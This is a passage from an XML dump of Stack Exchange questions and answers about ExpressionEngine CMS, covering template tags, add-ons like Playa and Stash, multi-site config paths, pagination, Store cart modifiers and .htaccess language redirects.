ContentLicense="CC BY-SA 3.0" />
  <row Id="5612" PostTypeId="2" ParentId="5611" CreationDate="2013-01-31T01:49:38.580" Score="2" Body="&lt;p&gt;Well, &lt;code&gt;{count}&lt;/code&gt; is working as intended. It counts the entries returned by the tag - not entries within your conditional statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, &lt;code&gt;{reverse_related_entries}&lt;/code&gt; is very limited in how it can be used (e.g., no category filter) - ostensibly for performance reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing a PHP count in your template should work, so long as PHP is set to &lt;em&gt;output&lt;/em&gt; and you increment your variable within your conditional statement. But a good alternative here is to use &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; instead of a stock Relationship field. Then you can use &lt;code&gt;{exp:playa:parents}&lt;/code&gt;, which allows all the filtering you can normally apply to a Channel Entries tag (e.g., &lt;code&gt;category=&quot;1915&quot;&lt;/code&gt;). &lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-01-31T01:49:38.580" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5613" PostTypeId="2" ParentId="5611" CreationDate="2013-01-31T02:32:40.073" Score="1" Body="&lt;p&gt;I pretty much exclusively use Pixel &amp;amp; Tonic's &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa addon&lt;/a&gt; for relationships. It's capable of handling more parameters than the &lt;code&gt;reverse_related_entries&lt;/code&gt; tag. I would recommend this method since it does not require you to filter through an unknown number of incorrect results to get what you're looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's not the only way to accomplish what you're trying to do. The problem is that the &lt;code&gt;count&lt;/code&gt; tag doesn't care if it's wrapped in a conditional, so it's also counting the entries that don't match your category criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;'s &lt;code&gt;set_list&lt;/code&gt; and &lt;code&gt;get_list&lt;/code&gt; to build the results you need. I believe &lt;code&gt;get_list&lt;/code&gt;'s &lt;code&gt;count&lt;/code&gt; variable would then be accurate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a last resort, I suppose you could also try a single embed (with some performance tradeoff and ugly code). Something like this untested example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;your_embed&quot; entry_id='{reverse_related_entries channel=&quot;sermons&quot; orderby=&quot;date&quot; sort=&quot;asc&quot; dynamic=&quot;off&quot;}{categories}{if category_id == &quot;1915&quot;}{entry_id}|{/if}{/categories}{/reverse_related_entries}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in your_embed, get &lt;code&gt;{embed:entry_id}&lt;/code&gt; and put it in an &lt;code&gt;entries&lt;/code&gt; tag's &lt;code&gt;entry_id&lt;/code&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you tried the PHP increment, was it still incorrect when incrementing it inside the conditional?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tl;dr (in order of preference):&#xA; 1. &lt;a href=&quot;http://pixelandtonic.com/playa&quot; rel=&quot;nofollow&quot;&gt;Playa&lt;/a&gt; &#xA; 2. &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt;'s set_list, get_list&#xA; 3. Enabling PHP in a template&#xA; 4. embed&lt;/p&gt;&#xA;" OwnerUserId="409" LastActivityDate="2013-01-31T02:32:40.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5614" PostTypeId="2" ParentId="5609" CreationDate="2013-01-31T03:22:43.593" Score="5" Body="&lt;p&gt;Hi @Andrew error 500s are server errors. To my knowledge EE does not log such errors. You would need to request/access the logs from your host provider. Here's &lt;a href=&quot;http://documentation.mamp.info/en/mamp/faq/where-can-i-find-the-logs&quot; rel=&quot;noreferrer&quot;&gt;some info&lt;/a&gt; on where to access the logs if you're hosting locally using MAMP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific server logs you'd want to look at would be the Apache logs, Access and Error which can ofter be located in the (/var/log/httpd/access or /var/log/httpd/error) directories. You may also want to check /var/log/messages as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A common reason for 500 errors is the PHP memory_limit set too low. Here's how &lt;a href=&quot;http://www.darian-brown.com/increase-php-memory-limit-in-htaccess-apache-or-in-a-php-script/&quot; rel=&quot;noreferrer&quot;&gt;you might fix that&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another idea might be to run the &lt;a href=&quot;http://ellislab.com/asset/file/ee_server_wizard.zip&quot; rel=&quot;noreferrer&quot;&gt;server wizard&lt;/a&gt; to rule out any incompatibilities there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if only parts of the site are throwing 500s you might want to try &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/output_and_debugging_preferences.html&quot; rel=&quot;noreferrer&quot;&gt;turning on debugging&lt;/a&gt;. You can do so in the CP under Admin -&gt; System Administration - &gt; Output and debugging or manually by adding the following to your system/expressionengine/config/config.php file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$config['debug'] = &quot;1&quot;;&lt;/p&gt;&#xA;" OwnerUserId="306" LastEditorUserId="306" LastEditDate="2013-01-31T03:40:42.467" LastActivityDate="2013-01-31T03:40:42.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5615" PostTypeId="1" CreationDate="2013-01-31T04:13:05.573" Score="2" ViewCount="479" Body="&lt;p&gt;OK, first question on SE so bear with me. I'm trying to setup an older site (after going through the EE2 upgrade process) on a virtual private server the client has running WHM and cPanel. The sites have been running for quite a while, including ecommerce and as such each site/domain has their own cPanel for managing unique SSL's (and thus unique IP addresses). In this case then, I'm not really in a position to change the setup for the server's directory structure and I'm attempting to get this setup from that point of view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config/issues/12#issuecomment-11874743&quot; rel=&quot;nofollow&quot;&gt;https://github.com/focuslabllc/ee-master-config/issues/12#issuecomment-11874743&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/account1&#xA;    /_templates&#xA;        /default_site&#xA;    /config&#xA;    /public_html&#xA;        index.php&#xA;        admin.php&#xA;    /system&#xA;    /third_party&#xA;/home/account2&#xA;    /_templates&#xA;        /site2&#xA;    /public_html&#xA;        index.php&#xA;        admin.php&#xA;/home/account3&#xA;    /_templates&#xA;        /site3&#xA;    /public_html&#xA;        index.php&#xA;        admin.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I have checked out the referenced GIST (&lt;a href=&quot;https://gist.github.com/d27570a3e52bdf656f54&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/d27570a3e52bdf656f54&lt;/a&gt;) for trying to make Focus Lab Config work with MSM, with mixed results, but my main concern comes down to the fact that the paths are being set based on the URL being accessed. This is all fine and good if you're accessing the website from the front end using it's assigned URL, but if you use the site switcher within the EE control panel, it all falls apart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. I log into the default sites admin (&lt;a href=&quot;http://site1.com/admin.php&quot; rel=&quot;nofollow&quot;&gt;http://site1.com/admin.php&lt;/a&gt;). All path references for template directories, upload preferences, system assets are correct for that site. Now if I switch to site2, my URL still begins with 'site1.com' so any uploads while editing site2 from the same URL will result in the incorrect paths being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is essentially where I'm at, and wondering if smarter heads here can assist in getting a final solution. My thinking at this stage, is that I need to be able to set a variable for the main server directory (in my case above it might be '/home/' which could be derived from the location of '$_SERVER['DOCUMENT_ROOT']'. The next is the ability to assign an account directory for each of the sites in the MSM (exp_sites) that can then be set as a conditional on the config depending on which site is being viewed within any or all of the possible EE control panels that could be logged into. I'm not sure if the config.master.php is reloaded each time a page is refreshed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there you have it. A problem without a solution and not enough expertise in my own head to solve. Any and all help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&#xA;Brendan&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, in the config.php and database.php files, I updated the reference to the config master using 'APPPATH' rather than '$_SERVER['DOCUMENT_ROOT']'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Require the Focus Lab, LLC Master Config file&#xA; */&#xA;require APPPATH . '/../../config/config.master.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="347" LastEditorUserId="347" LastEditDate="2013-01-31T04:20:49.740" LastActivityDate="2013-01-31T09:07:11.763" Title="Focus Lab Config (bootstrap) working with MSM - still problems" Tags="|multi-site-manager|config|focus-lab-master-config|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5616" PostTypeId="2" ParentId="5603" CreationDate="2013-01-31T04:25:58.920" Score="2" Body="&lt;p&gt;As mentioned in my comment, if your prices are linearly related to your quantity, then it would be much easier to template the &lt;code&gt;item_qty&lt;/code&gt; as a select menu:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;item_qty&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;500&quot;&amp;gt;500&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;500&quot;&amp;gt;1000&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;500&quot;&amp;gt;2000&amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way, everything would work as Store expects (updating the quantity would change the price, and adding new items would increment the existing quantity in the cart).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The underlying issue you are running into here is that Store treats any products with different modifiers as separate line items in your cart (for example if you add a Red Shirt and Blue Shirt to your cart, it would not make sense to merge them into a single line item on the invoice). That is why when you try to update the &quot;modifier&quot;, it adds a new line item to the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is currently no way to update items once they are in the cart, except the quantity (other than going directly to the database). Therefore if you really need customers to change item modifiers once they reach the checkout stage, you have two options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Write an extension with a custom form action URL, which edits the cart directly in the database (this is easier than it sounds, you can use our cart library to recalculate everything once you change the modifiers), or&lt;/li&gt;&#xA;&lt;li&gt;Remove the existing product and add a new product. This would require some javascript to make two sequential form submissions seem like a single step to the customer, because the checkout form and product form have different action URLs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-31T04:25:58.920" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5617" PostTypeId="1" AcceptedAnswerId="5646" CreationDate="2013-01-31T04:30:02.773" Score="5" ViewCount="721" Body="&lt;p&gt;Is there any way to 'turn off' the Message pages that briefly show after a login, logout, etc.?&lt;/p&gt;&#xA;" OwnerUserId="31" LastActivityDate="2013-01-31T15:36:13.230" Title="Turn off Message Pages after login?" Tags="|templates|system-messages|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5618" PostTypeId="2" ParentId="5617" CreationDate="2013-01-31T04:46:22.743" Score="4" Body="&lt;p&gt;I don't believe. However, you can use a addon like &lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/custom-system-messages&quot; rel=&quot;nofollow&quot;&gt;Custom System Messages&lt;/a&gt;&lt;/strong&gt; to customize those templates&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Custom System Messages provides an alternative to the the Specialty&#xA;  Templates for ExpressionEngine. All ExpressionEngine messages,&#xA;  regardless of type or severity, are filtered through the same group of&#xA;  templates, which are only editable within the Control Panel. If you&#xA;  use Subversion or Git to version your templates, the Specialty&#xA;  Template are left out. On top of this fact the Specialty Templates do&#xA;  not not parse other template tags, so embedding other templates, or&#xA;  using tags from third party add-ons do not work... until now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-31T04:46:22.743" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5619" PostTypeId="1" AcceptedAnswerId="6050" CreationDate="2013-01-31T05:36:57.303" Score="1" ViewCount="1630" Body="&lt;p&gt;I am using ExpressionEngine 2.5.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to set up an instance where one channel entry is embedded within another. I found &lt;a href=&quot;https://stackoverflow.com/questions/8408887/nesting-an-expressionengine-channel-entry-tag-pair-within-another-channel-entry&quot;&gt;this question on StackOverflow&lt;/a&gt; and tried the method described in the answer. However, when I try this method on my site, the page is not recognizing the embedded channe. Anyone see any errors here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Template (Simplified)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;events&quot; limit=&quot;1&quot; url_title={segment_2}}&#xA;    &amp;lt;div class=&quot;video-box&quot;&amp;gt;&#xA;       {embed=&quot;event_video&quot;}&#xA;   &amp;lt;/div&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embedded Template (Simplified)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries  channel=&quot;news&quot; limit=&quot;1&quot; url_title={segment_2}}&#xA;    &amp;lt;a href=&quot;http://www.google.com&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="899" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-02-08T16:49:35.777" Title="Embedding Channel Entry Tag Pair within another Channel Entry Tag Pair" Tags="|channel|embeds|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5620" PostTypeId="1" AcceptedAnswerId="5621" CreationDate="2013-01-31T05:40:40.447" Score="1" ViewCount="309" Body="&lt;p&gt;Is there a native way to do this? Or must I use an add-on like: &lt;a href=&quot;http://devot-ee.com/add-ons/price-format&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/price-format&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-02-16T17:11:50.903" Title="How to format currency in the templates?" Tags="|templates|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5621" PostTypeId="2" ParentId="5620" CreationDate="2013-01-31T05:54:48.343" Score="2" Body="&lt;p&gt;There's no native EE way to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using an e-commerce add-on like Store there are built in methods to format currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, that add-on looks like it will do exactly what you need.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-31T05:54:48.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5622" PostTypeId="1" AcceptedAnswerId="5624" CreationDate="2013-01-31T06:35:49.167" Score="5" ViewCount="1749" Body="&lt;p&gt;I created a member group and gave that group permission to add/edit a particular Channel. Whenever a new entry is made by a user in that member group, the status is set to &quot;Closed.&quot; I looked at the Channel settings and the default status is set to &quot;Open&quot;. When I make entries as a Super Admin, the status is set to &quot;Open.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need to do so that the member group's entries are set to Open?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2013-01-31T06:49:55.893" Title="Custom Member's Channel Entries Defaulting To &quot;Closed&quot; Status" Tags="|channel-entries|members|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5623" PostTypeId="1" CreationDate="2013-01-31T06:48:46.123" Score="0" ViewCount="49" Body="&lt;p&gt;It's probably a dumb question, but it doesn't matter what browser I open my podcast rss feed in it doesn't show any content. The feed validates in a validator, but I just want to be able to see the code without have to go to a validator to get it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link is: &lt;a href=&quot;http://dev.ncctk.com/feeds/lynden-sermon-audio&quot; rel=&quot;nofollow&quot;&gt;http://dev.ncctk.com/feeds/lynden-sermon-audio&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="925" LastActivityDate="2013-01-31T10:33:11.960" Title="How do I view the parsed RSS output?" Tags="|templates|rss|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5624" PostTypeId="2" ParentId="5622" CreationDate="2013-01-31T06:49:55.893" Score="15" Body="&lt;p&gt;Check if that channel is assigned a status group from CP -&gt; Admin -&gt; Channel Administration -&gt; Channels -&gt; Edit Group Assignments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here make sure that you have selected a status &quot;Status Groups&quot;.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-31T06:49:55.893" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5625" PostTypeId="2" ParentId="5617" CreationDate="2013-01-31T06:55:10.343" Score="1" Body="&lt;p&gt;I think, you should use &lt;a href=&quot;http://devot-ee.com/add-ons/login-redirect&quot; rel=&quot;nofollow&quot;&gt;Login Redirect&lt;/a&gt; add-on.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-01-31T06:55:10.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5626" PostTypeId="2" ParentId="5597" CreationDate="2013-01-31T07:31:57.273" Score="2" Body="&lt;p&gt;ExpressionEngine can certainly be used for things like this, but I wouldn't go down that path. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? Because to do things like display your channel and entry data as JSON, with even a moderate amount of customization, you will end up writing custom PHP and your own database queries. At the point where your site is more than 50% custom PHP vs ExpressionEngine templates, it's going to be easier to just write your backend from scratch (in PHP, or whatever else).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only exception I would make to this is if you already had an existing website with content in ExpressionEngine. In that case it's much easier to work with what you have (and what your content editors know how to use). You would only need to write some methods to pull data from your existing content. But if you're starting from scratch, and you have the ability/expertise to write a fully custom backend, then it will probably make your life easier in the long run to do so.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-01-31T07:31:57.273" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5627" PostTypeId="2" ParentId="5619" CreationDate="2013-01-31T08:25:45.560" Score="2" Body="&lt;p&gt;Are those your actual templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that you're trying to access entry with same url_title ({segment_2}) but in different channels. It is unlikely that two entries with same URL title would exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As suggested by Andy, try adding {if no_results} no results {/if} to each loop.&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2013-01-31T08:25:45.560" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5628" PostTypeId="2" ParentId="5592" CreationDate="2013-01-31T08:41:39.020" Score="1" Body="&lt;p&gt;Try adding &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; to the GWCode tag. It's a plugin tag instead of a module tag, so it will try to parse inner tags first, unless you add the &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt; parameter.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-01-31T08:41:39.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5629" PostTypeId="2" ParentId="5615" CreationDate="2013-01-31T09:07:11.763" Score="1" Body="&lt;p&gt;This isn't going to be much help but i ended up hard coding paths in after hitting multiple problems. MSM seems very tricky to set up like this, pity.&lt;/p&gt;&#xA;" OwnerUserId="272" LastActivityDate="2013-01-31T09:07:11.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5630" PostTypeId="1" AcceptedAnswerId="5636" CreationDate="2013-01-31T10:06:58.603" Score="4" ViewCount="76" Body="&lt;p&gt;I'm using Focus Lab's brilliant Master Config &lt;a href=&quot;https://github.com/focuslabllc/ee-master-config&quot; rel=&quot;nofollow&quot;&gt;https://github.com/focuslabllc/ee-master-config&lt;/a&gt; but wondered if it is possible to use the ENV constant in a template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if ENV == 'staging'}Show this.{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="466" LastEditorUserId="77" LastEditDate="2013-01-31T16:53:04.733" LastActivityDate="2013-01-31T16:53:04.733" Title="Accessing Master Config environment names within templates" Tags="|conditionals|focus-lab-master-config|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5631" PostTypeId="1" AcceptedAnswerId="5792" CreationDate="2013-01-31T10:20:49.137" Score="2" ViewCount="1027" Body="&lt;p&gt;I'm breaking my head over this one. maybe it's pretty simple, and am i just being blind. however, something is not going right with pagination.&#xA;On the homepage we want to display general info, a content slider, and the lates 5 projects, with a pagination for the older projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All things are parsed nicely, except when it comes to the pagination.&#xA;When i call the homepage(www.domain.com) the pagination is not working. I see the pagination buttons, but the items are allways the same, the latest 5.&#xA;However, if i call www.domain.com/site/index, everything works the way it should.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel='algemene_teksten_nl' limit='1' dynamic=&quot;no&quot; url_title='home'}&#xA;{embed='_inc/.header' pagetitle='{algemene_teksten_nl_browsertitle}' pagedescription='{algemene_teksten_nl_description}'&#xA;}&#xA;{/exp:channel:entries}&#xA;{embed=&quot;_inc/.home-boxes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the embed is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;projecten_nl|boxes_nl&quot; status=&quot;not niet-op-home&quot; limit=&quot;5&quot; paginate=&quot;bottom&quot; paginate_base=&quot;/&quot; dynamic=&quot;no&quot;}&#xA;&amp;lt;h2&amp;gt;{if channel_short_name == &quot;projecten_nl&quot;}{box_title}{if channel_short_name != &quot;projecten_nl&quot;}{title}{/if}&amp;lt;/h2&amp;gt;&#xA;{paginate}&#xA;            {pagination_links}&#xA;                &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                    {page}&#xA;                        &amp;lt;li{if current_page} class=&quot;current&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/page}&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/pagination_links}&#xA;        {/paginate}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And oh yeah, i'm on 2.5.5...&lt;/p&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2013-01-31T10:34:29.183" LastActivityDate="2013-02-04T14:45:29.783" Title="Pagination works when using /group/template, but not when using /" Tags="|pagination|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="5632" PostTypeId="2" ParentId="5623" CreationDate="2013-01-31T10:33:11.960" Score="3" Body="&lt;p&gt;Did you try viewing the source code in your browser?&lt;/p&gt;&#xA;" OwnerUserId="215" LastActivityDate="2013-01-31T10:33:11.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5633" PostTypeId="1" CreationDate="2013-01-31T10:42:08.083" Score="2" ViewCount="134" Body="&lt;p&gt;I'm wanting to use a Freeform across multiple MSM sites, using a low variable to change the admin notifier for each site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the code is as follows:-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:freeform:composer inline_errors=&quot;yes&quot; admin_notify=&quot;{var_email}&quot; form_name=&quot;contact&quot; composer_template_name=&quot;acme&quot; return=&quot;{page_uri}/thanks&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the template isn't parsing {var_email} in time on either &quot;Early Parsing&quot; or Normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anybody know if this is possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2013-02-27T18:36:56.093" Title="Low Variable as email address for Freeform" Tags="|solspace-freeform|low-variables|parsing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5634" PostTypeId="1" AcceptedAnswerId="5764" CreationDate="2013-01-31T10:44:19.257" Score="2" ViewCount="1756" Body="&lt;p&gt;we have a multilingual website and everything is based on the language segment in the uri.&#xA;eg. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;/en/home &lt;/li&gt;&#xA;&lt;li&gt;/fr/home&lt;/li&gt;&#xA;&lt;li&gt;/nl/home&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now I want my 404 page for a uri without a language segment to redirect to one with a language segment, preferably based on the browser language. That way my 404 page will hava a language attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg.&#xA;&lt;a href=&quot;http://www.website.be/test&quot; rel=&quot;nofollow&quot;&gt;http://www.website.be/test&lt;/a&gt; should redirect to &lt;a href=&quot;http://www.website.be/en/test&quot; rel=&quot;nofollow&quot;&gt;http://www.website.be/en/test&lt;/a&gt; (when EN is the browserlanguage)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment this is my .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            # Add www - only for production urls&#xA;    RewriteCond %{HTTPS} !=on&#xA;    RewriteCond %{HTTP_HOST} !^website\.localhost [NC]&#xA;    RewriteCond %{HTTP_HOST} !^192\..+$ [NC]&#xA;    RewriteCond %{HTTP_HOST} !^dev\..+$ [NC]&#xA;    RewriteCond %{HTTP_HOST} !^www\..+$ [NC]&#xA;    RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]&#xA;&#xA;    # REMOVE TRAILING SLASH&#xA;    # Make sure it's not a directory root&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    # Catch any+all characters and throw a slash in as the last character&#xA;    RewriteCond %{REQUEST_URI} ^(.+)/$&#xA;    # Redirect to same URI sans trailing slash (and use 301 for SEO goodness)&#xA;    RewriteRule ^(.+)/$  /$1 [R=301,L]&#xA;&#xA;    # Removes index.php&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php?$1 [L]&#xA;&#xA;    # Redirect based on browser accept language FR&#xA;    RewriteCond %{HTTP:Accept-Language} ^fr [NC]&#xA;    RewriteCond %{QUERY_STRING} !^(ACT=.*)&#xA;    RewriteCond %{QUERY_STRING} !^(MOBILE_ACT=.*)&#xA;    RewriteRule ^$ /fr [L,R=301]&#xA;&#xA;    # Redirect based on browser accept language EN&#xA;    RewriteCond %{HTTP:Accept-Language} ^en [NC]&#xA;    RewriteCond %{QUERY_STRING} !^(ACT=.*)&#xA;    RewriteCond %{QUERY_STRING} !^(MOBILE_ACT=.*)&#xA;    RewriteRule ^$ /en [L,R=301]&#xA;&#xA;    #NO LANGUAGE FOUND - NL = DEFAULT&#xA;    RewriteCond %{QUERY_STRING} !^(ACT=.*)&#xA;    RewriteCond %{QUERY_STRING} !^(MOBILE_ACT=.*)&#xA;    RewriteRule ^$ /nl [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-02-04T20:17:23.103" Title="How to enforce a language segment via htaccess in your uri?" Tags="|htaccess|multilingual|404|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
